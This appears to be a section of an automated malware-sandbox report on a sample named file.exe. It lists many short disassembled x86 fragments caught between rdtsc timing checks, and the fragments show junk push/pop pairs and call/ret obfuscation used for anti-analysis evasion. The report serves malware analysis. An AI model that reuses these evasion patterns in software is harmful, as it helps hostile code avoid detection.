Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116C3C5 second address: 116C3CB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116C910 second address: 116C927 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 ja 00007FBF08D33346h 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e pushad 0x0000000f jp 00007FBF08D33346h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116C927 second address: 116C930 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116CF15 second address: 116CF28 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBF08D3334Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116CF28 second address: 116CF2C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116EA06 second address: 116EA0B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116EA0B second address: 116EA2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBF09325ABEh 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f js 00007FBF09325AB8h 0x00000015 push esi 0x00000016 pop esi 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116EA2B second address: 116EA88 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FBF08D33348h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d call 00007FBF08D33353h 0x00000012 mov di, F3D7h 0x00000016 pop edi 0x00000017 push 00000000h 0x00000019 cmc 0x0000001a push 00000000h 0x0000001c push 00000000h 0x0000001e push ebx 0x0000001f call 00007FBF08D33348h 0x00000024 pop ebx 0x00000025 mov dword ptr [esp+04h], ebx 0x00000029 add dword ptr [esp+04h], 00000019h 0x00000031 inc ebx 0x00000032 push ebx 0x00000033 ret 0x00000034 pop ebx 0x00000035 ret 0x00000036 xchg eax, ebx 0x00000037 push ecx 0x00000038 pushad 0x00000039 pushad 0x0000003a popad 0x0000003b push ecx 0x0000003c pop ecx 0x0000003d popad 0x0000003e pop ecx 0x0000003f push eax 0x00000040 push eax 0x00000041 push edx 0x00000042 pushad 0x00000043 pushad 0x00000044 popad 0x00000045 push ecx 0x00000046 pop ecx 0x00000047 popad 0x00000048 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116E19B second address: 116E1A9 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FBF09325AB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d pop edi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116F48C second address: 116F510 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jmp 00007FBF08D33351h 0x0000000d nop 0x0000000e mov edi, eax 0x00000010 push 00000000h 0x00000012 mov dword ptr [ebp+122D1F21h], eax 0x00000018 sub dword ptr [ebp+122D1C1Ch], eax 0x0000001e push 00000000h 0x00000020 push 00000000h 0x00000022 push edi 0x00000023 call 00007FBF08D33348h 0x00000028 pop edi 0x00000029 mov dword ptr [esp+04h], edi 0x0000002d add dword ptr [esp+04h], 00000015h 0x00000035 inc edi 0x00000036 push edi 0x00000037 ret 0x00000038 pop edi 0x00000039 ret 0x0000003a xchg eax, ebx 0x0000003b pushad 0x0000003c je 00007FBF08D33355h 0x00000042 jmp 00007FBF08D3334Fh 0x00000047 pushad 0x00000048 push edx 0x00000049 pop edx 0x0000004a jmp 00007FBF08D3334Fh 0x0000004f popad 0x00000050 popad 0x00000051 push eax 0x00000052 pushad 0x00000053 pushad 0x00000054 pushad 0x00000055 popad 0x00000056 jng 00007FBF08D33346h 0x0000005c popad 0x0000005d push eax 0x0000005e push edx 0x0000005f push esi 0x00000060 pop esi 0x00000061 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116F260 second address: 116F266 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116F266 second address: 116F26A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1170026 second address: 117002A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117002A second address: 1170090 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 jne 00007FBF08D3335Eh 0x0000000f push 00000000h 0x00000011 push 00000000h 0x00000013 push ecx 0x00000014 call 00007FBF08D33348h 0x00000019 pop ecx 0x0000001a mov dword ptr [esp+04h], ecx 0x0000001e add dword ptr [esp+04h], 00000018h 0x00000026 inc ecx 0x00000027 push ecx 0x00000028 ret 0x00000029 pop ecx 0x0000002a ret 0x0000002b push 00000000h 0x0000002d mov si, di 0x00000030 xchg eax, ebx 0x00000031 push ecx 0x00000032 push eax 0x00000033 push edx 0x00000034 jmp 00007FBF08D33354h 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116FDCE second address: 116FDD2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1170AC6 second address: 1170ACA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1170ACA second address: 1170AD0 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1170AD0 second address: 1170AD5 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1170887 second address: 117088C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1171574 second address: 1171579 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1171579 second address: 1171583 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007FBF09325AB6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1171CF0 second address: 1171D01 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBF08D3334Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1171D01 second address: 1171D05 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1171D05 second address: 1171D1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jbe 00007FBF08D33352h 0x0000000f jo 00007FBF08D3334Ch 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117568F second address: 1175693 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1175693 second address: 1175699 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1175D76 second address: 1175D85 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FBF09325ABAh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1175D85 second address: 1175D97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jns 00007FBF08D33348h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11727C3 second address: 11727CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FBF09325AB6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1176CAD second address: 1176CB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1176CB1 second address: 1176CB5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1178E2A second address: 1178E4A instructions: 0x00000000 rdtsc 0x00000002 ja 00007FBF08D33352h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push esi 0x0000000c jc 00007FBF08D3334Ch 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11790A1 second address: 11790A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11790A5 second address: 11790B3 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push ecx 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117AF96 second address: 117AFFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 mov dword ptr [esp], eax 0x0000000b call 00007FBF09325AC4h 0x00000010 jmp 00007FBF09325ABCh 0x00000015 pop ebx 0x00000016 push 00000000h 0x00000018 add dword ptr [ebp+1244FB0Eh], eax 0x0000001e push 00000000h 0x00000020 push 00000000h 0x00000022 push eax 0x00000023 call 00007FBF09325AB8h 0x00000028 pop eax 0x00000029 mov dword ptr [esp+04h], eax 0x0000002d add dword ptr [esp+04h], 00000018h 0x00000035 inc eax 0x00000036 push eax 0x00000037 ret 0x00000038 pop eax 0x00000039 ret 0x0000003a jmp 00007FBF09325ABCh 0x0000003f xchg eax, esi 0x00000040 push ecx 0x00000041 push eax 0x00000042 push edx 0x00000043 push ebx 0x00000044 pop ebx 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117AFFE second address: 117B002 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117BE39 second address: 117BE73 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnc 00007FBF09325ACFh 0x0000000c jmp 00007FBF09325AC9h 0x00000011 popad 0x00000012 push eax 0x00000013 pushad 0x00000014 pushad 0x00000015 jng 00007FBF09325AB6h 0x0000001b jno 00007FBF09325AB6h 0x00000021 popad 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117BE73 second address: 117BE77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117BE77 second address: 117BE7B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117CDFF second address: 117CE60 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FBF08D33348h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d stc 0x0000000e xor ebx, 7376B567h 0x00000014 push 00000000h 0x00000016 push 00000000h 0x00000018 push edx 0x00000019 call 00007FBF08D33348h 0x0000001e pop edx 0x0000001f mov dword ptr [esp+04h], edx 0x00000023 add dword ptr [esp+04h], 00000014h 0x0000002b inc edx 0x0000002c push edx 0x0000002d ret 0x0000002e pop edx 0x0000002f ret 0x00000030 push esi 0x00000031 sub edi, dword ptr [ebp+122D2BF9h] 0x00000037 pop edi 0x00000038 push 00000000h 0x0000003a or edi, dword ptr [ebp+122D29B1h] 0x00000040 xchg eax, esi 0x00000041 jmp 00007FBF08D3334Dh 0x00000046 push eax 0x00000047 push eax 0x00000048 push edx 0x00000049 jnl 00007FBF08D3334Ch 0x0000004f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117C01A second address: 117C024 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007FBF09325AB6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117F4A0 second address: 117F4A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117F4A4 second address: 117F4AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1180431 second address: 1180435 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1180435 second address: 118043B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1181415 second address: 1181419 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1181419 second address: 1181429 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBF09325ABCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118243A second address: 1182440 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11824E7 second address: 11824F1 instructions: 0x00000000 rdtsc 0x00000002 je 00007FBF09325ABCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1181595 second address: 1181599 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1184479 second address: 118447D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1182694 second address: 118271A instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push edi 0x0000000e call 00007FBF08D33348h 0x00000013 pop edi 0x00000014 mov dword ptr [esp+04h], edi 0x00000018 add dword ptr [esp+04h], 00000017h 0x00000020 inc edi 0x00000021 push edi 0x00000022 ret 0x00000023 pop edi 0x00000024 ret 0x00000025 push dword ptr fs:[00000000h] 0x0000002c push 00000000h 0x0000002e push ecx 0x0000002f call 00007FBF08D33348h 0x00000034 pop ecx 0x00000035 mov dword ptr [esp+04h], ecx 0x00000039 add dword ptr [esp+04h], 0000001Ch 0x00000041 inc ecx 0x00000042 push ecx 0x00000043 ret 0x00000044 pop ecx 0x00000045 ret 0x00000046 sub dword ptr [ebp+122D223Fh], esi 0x0000004c mov dword ptr fs:[00000000h], esp 0x00000053 mov dword ptr [ebp+122D3148h], ebx 0x00000059 mov eax, dword ptr [ebp+122D020Dh] 0x0000005f mov edi, dword ptr [ebp+122D2B45h] 0x00000065 push FFFFFFFFh 0x00000067 mov dword ptr [ebp+124505F8h], edi 0x0000006d nop 0x0000006e push ecx 0x0000006f jnp 00007FBF08D3334Ch 0x00000075 push eax 0x00000076 push edx 0x00000077 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118447D second address: 11844E6 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FBF09325AB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b push eax 0x0000000c jc 00007FBF09325AC4h 0x00000012 nop 0x00000013 mov di, DEB7h 0x00000017 or bx, 6E31h 0x0000001c push 00000000h 0x0000001e mov edi, dword ptr [ebp+122D2A2Dh] 0x00000024 push 00000000h 0x00000026 push 00000000h 0x00000028 push ebp 0x00000029 call 00007FBF09325AB8h 0x0000002e pop ebp 0x0000002f mov dword ptr [esp+04h], ebp 0x00000033 add dword ptr [esp+04h], 00000015h 0x0000003b inc ebp 0x0000003c push ebp 0x0000003d ret 0x0000003e pop ebp 0x0000003f ret 0x00000040 jmp 00007FBF09325AC2h 0x00000045 push eax 0x00000046 pushad 0x00000047 push eax 0x00000048 push edx 0x00000049 push eax 0x0000004a pop eax 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11844E6 second address: 11844F1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edx 0x00000008 pop edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11853D5 second address: 11853D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11853D9 second address: 118543D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 pushad 0x00000009 jno 00007FBF08D33346h 0x0000000f jng 00007FBF08D33346h 0x00000015 popad 0x00000016 pop eax 0x00000017 nop 0x00000018 pushad 0x00000019 pushad 0x0000001a mov edx, dword ptr [ebp+122D2B59h] 0x00000020 add cx, 9516h 0x00000025 popad 0x00000026 or esi, dword ptr [ebp+122D2BD9h] 0x0000002c popad 0x0000002d add ebx, 7B7FEC36h 0x00000033 push 00000000h 0x00000035 call 00007FBF08D3334Fh 0x0000003a movzx edi, dx 0x0000003d pop ebx 0x0000003e push 00000000h 0x00000040 mov ebx, dword ptr [ebp+122D28B1h] 0x00000046 push eax 0x00000047 push eax 0x00000048 push edx 0x00000049 pushad 0x0000004a push edi 0x0000004b pop edi 0x0000004c jmp 00007FBF08D3334Dh 0x00000051 popad 0x00000052 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11867B4 second address: 11867B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11867B9 second address: 1186845 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBF08D3334Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a cld 0x0000000b push dword ptr fs:[00000000h] 0x00000012 mov edi, dword ptr [ebp+122D2985h] 0x00000018 mov dword ptr fs:[00000000h], esp 0x0000001f push 00000000h 0x00000021 push edx 0x00000022 call 00007FBF08D33348h 0x00000027 pop edx 0x00000028 mov dword ptr [esp+04h], edx 0x0000002c add dword ptr [esp+04h], 0000001Bh 0x00000034 inc edx 0x00000035 push edx 0x00000036 ret 0x00000037 pop edx 0x00000038 ret 0x00000039 pushad 0x0000003a sub dword ptr [ebp+122D1CD6h], eax 0x00000040 jg 00007FBF08D3334Ch 0x00000046 add eax, dword ptr [ebp+122D2576h] 0x0000004c popad 0x0000004d mov eax, dword ptr [ebp+122D0B6Dh] 0x00000053 movzx edi, si 0x00000056 push FFFFFFFFh 0x00000058 mov dword ptr [ebp+122D25BFh], ecx 0x0000005e nop 0x0000005f pushad 0x00000060 jmp 00007FBF08D33354h 0x00000065 jng 00007FBF08D3334Ch 0x0000006b push eax 0x0000006c push edx 0x0000006d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11904EE second address: 1190505 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 ja 00007FBF09325AB6h 0x0000000e popad 0x0000000f jp 00007FBF09325ABCh 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118FF02 second address: 118FF08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1190047 second address: 119007A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FBF09325AC7h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jmp 00007FBF09325AC1h 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1194F05 second address: 1194F09 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1199F6E second address: 1199F7A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1199F7A second address: 1199F8A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBF08D3334Ch 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119A516 second address: 119A52D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBF09325ABAh 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c jo 00007FBF09325AB6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119A52D second address: 119A531 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119A8FF second address: 119A908 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119A908 second address: 119A90C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119A90C second address: 119A924 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBF09325ABDh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c push esi 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A0D7C second address: 11A0D92 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBF08D3334Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A0D92 second address: 11A0D96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A64F7 second address: 11A64FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A5284 second address: 11A5296 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 js 00007FBF09325AB6h 0x0000000b jp 00007FBF09325AB6h 0x00000011 pop eax 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A61F5 second address: 11A61F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AD047 second address: 11AD04E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AB9B2 second address: 11AB9B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AB9B8 second address: 11AB9BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AB9BC second address: 11ABA14 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBF08D3334Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FBF08D33358h 0x0000000e push esi 0x0000000f pushad 0x00000010 popad 0x00000011 jbe 00007FBF08D33346h 0x00000017 pop esi 0x00000018 jmp 00007FBF08D3334Ah 0x0000001d popad 0x0000001e pushad 0x0000001f push eax 0x00000020 push edx 0x00000021 jng 00007FBF08D33346h 0x00000027 jmp 00007FBF08D33351h 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11ABDF7 second address: 11ABE0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007FBF09325ABBh 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11ABE0A second address: 11ABE12 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11ABE12 second address: 11ABE35 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007FBF09325AB6h 0x0000000a jmp 00007FBF09325AC9h 0x0000000f rdtsc
